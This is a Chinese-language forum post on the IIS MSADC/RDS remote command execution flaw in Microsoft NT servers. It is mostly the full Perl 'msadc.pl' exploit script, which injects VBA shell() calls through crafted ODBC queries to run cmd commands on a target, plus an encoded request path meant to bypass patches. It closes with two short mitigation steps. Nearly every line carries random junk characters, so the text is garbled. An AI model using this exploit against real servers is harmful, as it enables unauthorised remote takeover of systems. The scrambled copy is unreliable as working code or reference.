IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
DBh/V#* D 6Oqnb+ 涉及程序:
YHv,Z|.w Microsoft NT server
\w\47/k{ {aa,#B]i 描述:
.1q~,}toX 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
q}24U3ow 7)It1i- 详细:
AeQ&V d| 如果你没有时间读详细内容的话,就删除:
7z0uj c:\Program Files\Common Files\System\Msadc\msadcs.dll
}6{ )Jv 有关的安全问题就没有了。
Ty`=U>K| n_NG~/x 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Kz2^f@5=F yW,#&>]# | 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
O
NzdCgY 关于利用ODBC远程漏洞的描述,请参看:
6!PX!
UkF GQAg
ex)D http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hr"+0KeX - OGy-" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
8i$`oMv[y http://www.microsoft.com/security/bulletins/MS99-025faq.asp <y/AEY1 #Lt+6sa]2@ 这里不再论述。
N0KRND FJH8O7 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
b6M)qt9R y/*Tvb #TJ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
y(BLin!O. 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
:v ~q |y=F (6Z ^7<m lr #将下面这段保存为txt文件,然后: "perl -x 文件名"
-.3k
vL 3$f5][+U #!perl
5Kxk9{\8 #
6? ly.h$ # MSADC/RDS 'usage' (aka exploit) script
&=O1Qg=K #
wDY7B # by rain.forest.puppy
Olh-(u:9+O #
nM}`H'0 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
JT_B@TO\ # beta test and find errors!
F09AX'nj yp'>+cLa use Socket; use Getopt::Std;
n,LKkOG getopts("e:vd:h:XR", \%args);
P&,cCR> p arG print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
qnV9TeU) UeeV+xU if (!defined $args{h} && !defined $args{R}) {
t O;W?g print qq~
2{:
J1'pC Usage: msadc.pl -h <host> { -d <delay> -X -v }
k}qiIMdI -h <host> = host you want to scan (ip or domain)
H5t`E^E -d <seconds> = delay between calls, default 1 second
!Hj)S](F -X = dump Index Server path table, if available
|H@p^.; -v = verbose
4=cq 76 -e = external dictionary file for step 5
bd;f@)X Ka2tr]+s Or a -R will resume a command session
?LM'5 ^C
T}i' ~; exit;}
M&-/&>n! {Oszq(A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)C6 7qY[P if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^<+heX if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
=LA@E&,j if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
)S?}huX $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
g+*[CKO{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
LRs;>O ,Yz+?SmSZ& if (!defined $args{R}){ $ret = &has_msadc;
#0H[RU? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}Cf[nGh|B T0jJp7O print "Please type the NT commandline you want to run (cmd /c assumed):\n"
DJUtuex . "cmd /c ";
Ry3 f'gx $in=<STDIN>; chomp $in;
(P8oXb+% $command="cmd /c " . $in ;
gu&oCT ?yK\L-ad if (defined $args{R}) {&load; exit;}
Y.#+Yh[ `;@4f|N9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
:"]ei@ &try_btcustmr;
_r'M^=yx[ W -&5
v print "\nStep 2: Trying to make our own DSN...";
TaG-^bX8B &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
wYG0*!Vj V;(LeuDH| print "\nStep 3: Trying known DSNs...";
5Bo)j_Qo &known_dsn;
XvY-C CXZeL 1+ print "\nStep 4: Trying known .mdbs...";
2O/_hv. &known_mdb;
|e>-v Hc9pWr"N if (defined $args{e}){
X3yr6J[ ^ print "\nStep 5: Trying dictionary of DSN names...";
FeLP!oS> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
#J_i 5KmXJ Xg,BK0O print "Sorry Charley...maybe next time?\n";
wP*Z/}Uum+ exit;
'o L8Z pkx>6(Y ##############################################################################
Ip0q&i<6 f'dI"o&^/d sub sendraw { # ripped and modded from whisker
CgC wM=!r sleep($delay); # it's a DoS on the server! At least on mine...
9j`-fs@: my ($pstr)=@_;
.>n|#XK socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
J^4k} die("Socket problems\n");
bSfQH4F if(connect(S,pack "SnA4x8",2,80,$target)){
cx}-tj"m- select(S); $|=1;
~A/_\- print $pstr; my @in=<S>;
:F&WlU$L select(STDOUT); close(S);
Df (6DuW return @in;
g:U ul4 } else { die("Can't connect...\n"); }}
wG
O)!u 4 #eYVZ=E ##############################################################################
3QpTO, jxvVp*-=<j sub make_header { # make the HTTP request
"dOzQz*E my $msadc=<<EOT
zu#o<6E{ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.+>}}, User-Agent: ACTIVEDATA
3nO|A: t Host: $ip
N"TD$NrK\ Content-Length: $clen
i7FEjjGtG Connection: Keep-Alive
Cp%|Q.? 7
<xxOY>y ADCClientVersion:01.06
fvDwg Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
7nmo p7 AN@Vos
Cu --!ADM!ROX!YOUR!WORLD!
2xX7dl(cC Content-Type: application/x-varg
F~1R.r_Lu Content-Length: $reqlen
}MNm>3 (]:G"W8f EOT
.
fIodk ; $msadc=~s/\n/\r\n/g;
Nu'rn*Y_ return $msadc;}
uT1x\Rt|e S~T[*Z/m ##############################################################################
V;"'!dVX &kG<LGXP# sub make_req { # make the RDS request
ze-iDd_y my ($switch, $p1, $p2)=@_;
Z(L>~+% my $req=""; my $t1, $t2, $query, $dsn;
*XJSa ydt1ED0Q- if ($switch==1){ # this is the btcustmr.mdb query
b{&@Lm0Tn $query="Select * from Customers where City=" . make_shell();
hXCDlCO $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
X\;y;pmRH $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<Wpz\U + '`RJ,K+[ elsif ($switch==2){ # this is general make table query
4t":WutC $query="create table AZZ (B int, C varchar(10))";
KvQ9R!V $dsn="$p1";}
_#+i;$cO-X y.zW>Mfl elsif ($switch==3){ # this is general exploit table query
/vu7;xVG $query="select * from AZZ where C=" . make_shell();
f c91D]c $dsn="$p1";}
+mJAIjH Rh=h{O elsif ($switch==4){ # attempt to hork file info from index server
y3x_B@}BY $query="select path from scope()";
4
QWHGh" $dsn="Provider=MSIDXS;";}
;.iy{&$ %lBFj/B elsif ($switch==5){ # bad query
i[B%:q:& $query="select";
BsJClKp/ $dsn="$p1";}
0:XmReO+k K&/W cuP& $t1= make_unicode($query);
YJ6Xq||_ $t2= make_unicode($dsn);
&:rf80`z. $req = "\x02\x00\x03\x00";
rB4]TQ`c $req.= "\x08\x00" . pack ("S1", length($t1));
="V6z$N $req.= "\x00\x00" . $t1 ;
^Kn}{m/3Y $req.= "\x08\x00" . pack ("S1", length($t2));
zR%#Q_ $req.= "\x00\x00" . $t2 ;
|q?A8@\u $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}q^CR(h (R return $req;}
jN'zNOV~ i]P]o) ##############################################################################
S;Vj5 &a V`u?'e sub make_shell { # this makes the shell() statement
zJPzI{-w| return "'|shell(\"$command\")|'";}
;e+ErN`a.~ GE|V^_|i ##############################################################################
Gd!y,n&s 0ZO!_3m$r sub make_unicode { # quick little function to convert to unicode
I'JFt>] my ($in)=@_; my $out;
FbF P for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
JMXCyDy; return $out;}
sq_
f[! /)j:Y:5 ##############################################################################
gF&1e5`i BRzrtK sub rdo_success { # checks for RDO return success (this is kludge)
6:H@=fEv my (@in) = @_; my $base=content_start(@in);
_k&vW(O=: if($in[$base]=~/multipart\/mixed/){
{D$+~lO return 1 if( $in[$base+10]=~/^\x09\x00/ );}
W 5-=,t return 0;}
^]K_k7`I MFRM M%` ##############################################################################
+d<o2n4! [:Sl^ Z&6M sub make_dsn { # this makes a DSN for us
/@:I\&{f'9 my @drives=("c","d","e","f");
C-&\qAo?<: print "\nMaking DSN: ";
A\LMmg foreach $drive (@drives) {
>o.4sN@ print "$drive: ";
V!uW\i/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
#V@[<S2 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
A|7%j0T . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`ml $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
BKi@c\Wb return 0 if $2 eq "404"; # not found/doesn't exist
9J*.'Y if($2 eq "200") {
W|4:3c4 foreach $line (@results) {
rytves%;C return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
nH_M# } return 0;}
!#3v<_]#d 0l;TZf=H ##############################################################################
jBb:) Phr+L9Eog sub verify_exists {
\I( g70 my ($page)=@_;
yhc}*BMZ my @results=sendraw("GET $page HTTP/1.0\n\n");
,N93 H3( return $results[0];}
5<YV`T{5Kl 1R-WJph ##############################################################################
]jjHIFX E%LUJx} sub try_btcustmr {
GCZx-zD~> my @drives=("c","d","e","f");
WUrE1%u my @dirs=("winnt","winnt35","winnt351","win","windows");
lha)4d zcGmru|k foreach $dir (@dirs) {
6+!$x?5|NP print "$dir -> "; # fun status so you can see progress
_0}u0fk foreach $drive (@drives) {
,+~8R" print "$drive: "; # ditto
>jz9o9?8 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
bI+/0Xx $reqlenlen=length( "$reqlen" );
y*=sboX $clen= 206 + $reqlenlen + $reqlen;
8wV`mdKN S#kYPe my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|P@N}P@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
G>=Fdt7Oc else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Wn2'uZ5If U$|q]N ##############################################################################
uP G\1 MX? *jYl sub odbc_error {
D%L^[|)c\s my (@in)=@_; my $base;
fqjBor} my $base = content_start(@in);
(\ge7sE-oo if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
90#* el $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E5!vw@, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
X$e*s\4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<?s@-mpgN return $in[$base+4].$in[$base+5].$in[$base+6];}
,~ q:rh+ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
q
#mBNe62p print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
]VL} eHZ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
s]]lB018O\ !c`&L_ "! ##############################################################################
M287Z[ vJxEF&X sub verbose {
?7}ybw3t] my ($in)=@_;
<8(=Lv`)q return if !$verbose;
A
0v=7
] print STDOUT "\n$in\n";}
8OKG@hc Mgr?D ##############################################################################
}f;WYz 5 fcxg6W' sub save {
&Ts!#OcB, my ($p1, $p2, $p3, $p4)=@_;
BBM[Fy37!} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
,A'| Z print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Q7rBc
wm5 close OUT;}
+: x[cK jYi,oE ##############################################################################
[I=|"Ic~ 7mq&]4-G sub load {
-nXP<v=V my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4d\^ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
N"}>);r @p=<IN>; close(IN);
'y\Je7 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<4+P37^~ $target= inet_aton($ip) || die("inet_aton problems");
9v_s_QkL2 print "Resuming to $ip ...";
;Ax-f04gG $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
s>m2qSu if($p[1]==1) {
Z/%FQ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
)i}j\";>L $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
A+="0{P my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
0CX,"d_T, if (rdo_success(@results)){print "Success!\n";}
._^}M<o L else { print "failed\n"; verbose(odbc_error(@results));}}
Sp492W+ elsif ($p[1]==3){
[a04(
2g if(run_query("$p[3]")){
N2O *g`YC print "Success!\n";} else { print "failed\n"; }}
K_;vqi^1^& elsif ($p[1]==4){
l3sF/zkH if(run_query($drvst . "$p[3]")){
EW|$qLg print "Success!\n"; } else { print "failed\n"; }}
qFD ZD)K exit;}
>=[uLY[aK Yy88 5 ##############################################################################
sqrLys_S X>8,C^~$1 sub create_table {
>x{("``D0y my ($in)=@_;
ZU73UL $reqlen=length( make_req(2,$in,"") ) - 28;
Ea&|kO| $reqlenlen=length( "$reqlen" );
m,lZy#02s3 $clen= 206 + $reqlenlen + $reqlen;
k5I;Y:~` my @results=sendraw(make_header() . make_req(2,$in,""));
w}gmVJ#p return 1 if rdo_success(@results);
,B[j{sE my $temp= odbc_error(@results); verbose($temp);
"E(i< return 1 if $temp=~/Table 'AZZ' already exists/;
g}s$s} return 0;}
au{)5W4~ '{"Rjv7 ##############################################################################
k
ucbI_ v>_@D@pr sub known_dsn {
XVqOiv) # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
h^SWb91"G my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5EFt0?G "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{Rkd;`Q`! "banner", "banners", "ads", "ADCDemo", "ADCTest");
V`y^m@U! _~z
oMdT! foreach $dSn (@dsns) {
eX+36VG\ print ".";
=6u@JpOl next if (!is_access("DSN=$dSn"));
r[S(VPo[() if(create_table("DSN=$dSn")){
<y@vv print "$dSn successful\n";
ij
?7MP if(run_query("DSN=$dSn")){
fB8, )& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
X`.##S KC print "Something's borked. Use verbose next time\n";}}} print "\n";}
JT?u[pQ^ J8qFdNK ##############################################################################
4j={ 9e< QQrldc(I sub is_access {
N d].(_ my ($in)=@_;
A7%d $reqlen=length( make_req(5,$in,"") ) - 28;
k =5k)}i $reqlenlen=length( "$reqlen" );
F\m^slsu7= $clen= 206 + $reqlenlen + $reqlen;
:W.H#@'( my @results=sendraw(make_header() . make_req(5,$in,""));
(BEe^]f my $temp= odbc_error(@results);
.9bi%=hP verbose($temp); return 1 if ($temp=~/Microsoft Access/);
WXy8<?s return 0;}
`HX:U3/ \O5L#dc# ##############################################################################
qYK^S4L g-eJan&]N sub run_query {
Tqt-zX|> my ($in)=@_;
6
9>@0P $reqlen=length( make_req(3,$in,"") ) - 28;
39v Bsc $reqlenlen=length( "$reqlen" );
~/L:$ $clen= 206 + $reqlenlen + $reqlen;
TxJk.c my @results=sendraw(make_header() . make_req(3,$in,""));
Xq? >a+B return 1 if rdo_success(@results);
1}d
F,e my $temp= odbc_error(@results); verbose($temp);
bf_
>?F^ return 0;}
,Kv6!ib6Q
0t7N yKU ##############################################################################
Ui'v'
$ Rw?w7?I sub known_mdb {
GHsDZ(d3. my @drives=("c","d","e","f","g");
Z>g72I%X my @dirs=("winnt","winnt35","winnt351","win","windows");
74([~Qs _M my $dir, $drive, $mdb;
1CC0]pyHX my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?w:\0j5~ s ~Eo]e # this is sparse, because I don't know of many
rS [4Pey my @sysmdbs=( "\\catroot\\icatalog.mdb",
j9fBl:Fr "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
&]TniQH "\\system32\\certmdb.mdb",
Qw0k-t0=4 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Ti? "Hr<W BZ?w}%-MO my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Zz0er|9]Q "\\cfusion\\cfapps\\forums\\forums_.mdb",
c}@E@Y`@w "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
TCp9C1Q4 "\\cfusion\\cfapps\\security\\realm_.mdb",
.q2r!B "\\cfusion\\cfapps\\security\\data\\realm.mdb",
F@<cp ?dR "\\cfusion\\database\\cfexamples.mdb",
WSozDNF!'f "\\cfusion\\database\\cfsnippets.mdb",
WO>,=^zPJ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
b$@I(.X: "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
tR!C8:u "\\cfusion\\brighttiger\\database\\cleam.mdb",
#._JB-,' "\\cfusion\\database\\smpolicy.mdb",
-
|pe D
L "\\cfusion\\database\cypress.mdb",
&b (* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
;-3&yQ7N) "\\website\\cgi-win\\dbsample.mdb",
Q&I # "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Z66Xj-o "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
"~VKUvDu ); #these are just
,u}wW*?,sT foreach $drive (@drives) {
"nz\YQdg foreach $dir (@dirs){
AJ\gDjj< foreach $mdb (@sysmdbs) {
M[qhy. print ".";
g%J\YRo if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
\:@6(e Bh print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|Ua);B ~F if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,=e.QAF!" print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
>~ *wPoW } else { print "Something's borked. Use verbose next time\n"; }}}}}
huZ5?'/Fg ]\rQ{No foreach $drive (@drives) {
reR@@O foreach $mdb (@mdbs) {
<oXBkCi0r print ".";
*-ys}sX if(create_table($drv . $drive . $dir . $mdb)){
@KM?agtlbl print "\n" . $drive . $dir . $mdb . " successful\n";
8Y-*rpLy if(run_query($drv . $drive . $dir . $mdb)){
w7`pbcY, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
dw;<Q } else { print "Something's borked. Use verbose next time\n"; }}}}
^Zvb3RJ g }
jUD^]Qs g(zeOS]q} ##############################################################################
dA~_[x:Z Y-8BL sub hork_idx {
V]Te_ >E;w print "\nAttempting to dump Index Server tables...\n";
sPc}hG+N print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
T
9`AL $reqlen=length( make_req(4,"","") ) - 28;
?<F([( $reqlenlen=length( "$reqlen" );
>-V632(/{o $clen= 206 + $reqlenlen + $reqlen;
aA$\iFYA my @results=sendraw2(make_header() . make_req(4,"",""));
~rb]u
Ny- if (rdo_success(@results)){
48z%dBmTT* my $max=@results; my $c; my %d;
N( 7(~D=)B for($c=19; $c<$max; $c++){
?Sh"%x $results[$c]=~s/\x00//g;
+wz1kPRs $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
2ih}?%H8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
l1kHFeq $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
&KBDrJEX $d{"$1$2"}="";}
/&\V6=jA1 foreach $c (keys %d){ print "$c\n"; }
#9s)f R } else {print "Index server doesn't seem to be installed.\n"; }}
XzIC~} Ae=JG8Ht~ ##############################################################################
'0~?zP 9BP'[SM%), sub dsn_dict {
{k=3OIp open(IN, "<$args{e}") || die("Can't open external dictionary\n");
@H$8;CRM while(<IN>){
]35`N<Ac $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
dn}EM7:Z next if (!is_access("DSN=$dSn"));
]@21K O if(create_table("DSN=$dSn")){
q.R(>ZcV print "$dSn successful\n";
|%5pzYe if(run_query("DSN=$dSn")){
OmkJP print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
I*j~5fsS' print "Something's borked. Use verbose next time\n";}}}
U:99w print "\n"; close(IN);}
U]+I P;YS Kg~D~
+j ##############################################################################
TDZ==<C 94O\M
RQ* sub sendraw2 { # ripped and modded from whisker
*jQ$\|Y sleep($delay); # it's a DoS on the server! At least on mine...
[(g2u@ my ($pstr)=@_;
1p5'.~J+Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%CYo,
e die("Socket problems\n");
:FU?vh$) if(connect(S,pack "SnA4x8",2,80,$target)){
MCTJ^ g"D print "Connected. Getting data";
s>G]U)d<' open(OUT,">raw.out"); my @in;
T^MY w select(S); $|=1; print $pstr;
UrciCOQf while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
oCE'@}s.i close(OUT); select(STDOUT); close(S); return @in;
PA803R74 } else { die("Can't connect...\n"); }}
{S+?n[1r\ &/Gn!J;1 ##############################################################################
~9APc{"A I74Rw*fB sub content_start { # this will take in the server headers
bBc<p{ my (@in)=@_; my $c;
%^E7Iqc for ($c=1;$c<500;$c++) {
4 a&8G if($in[$c] =~/^\x0d\x0a/){
C7R3W, if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
"y*3p0E else { return $c+1; }}}
At[Q0'jkc return -1;} # it should never get here actually
dZIbajs' *k#"@ ##############################################################################
KwMt@1Z t}I@Rmso sub funky {
ha;fxM] my (@in)=@_; my $error=odbc_error(@in);
Vb#a ,t if($error=~/ADO could not find the specified provider/){
R=a4zVQ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
%E#Ubm! exit;}
?(R# if($error=~/A Handler is required/){
zd8A8]&- print "\nServer has custom handler filters (they most likely are patched)\n";
3O4lGe#u exit;}
ox<&T| if($error=~/specified Handler has denied Access/){
T#!% Uzz print "\nServer has custom handler filters (they most likely are patched)\n";
Z2g<"M exit;}}
{*n<A{$[
m 4qE4 i:b ##############################################################################
o~y{9Q JAjiG^] sub has_msadc {
&0[L2x}7 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'?m2|9~ my $base=content_start(@results);
^1c7\"{ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
z__t8yc3 return 0;}
KI#v<4C$P Hicd
-' ########################
Xl2g Hh *)B \M> ECM#J28D 解决方案:
yc9!JJMkH 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
V D7^wd9 2、移除web 目录: /msadc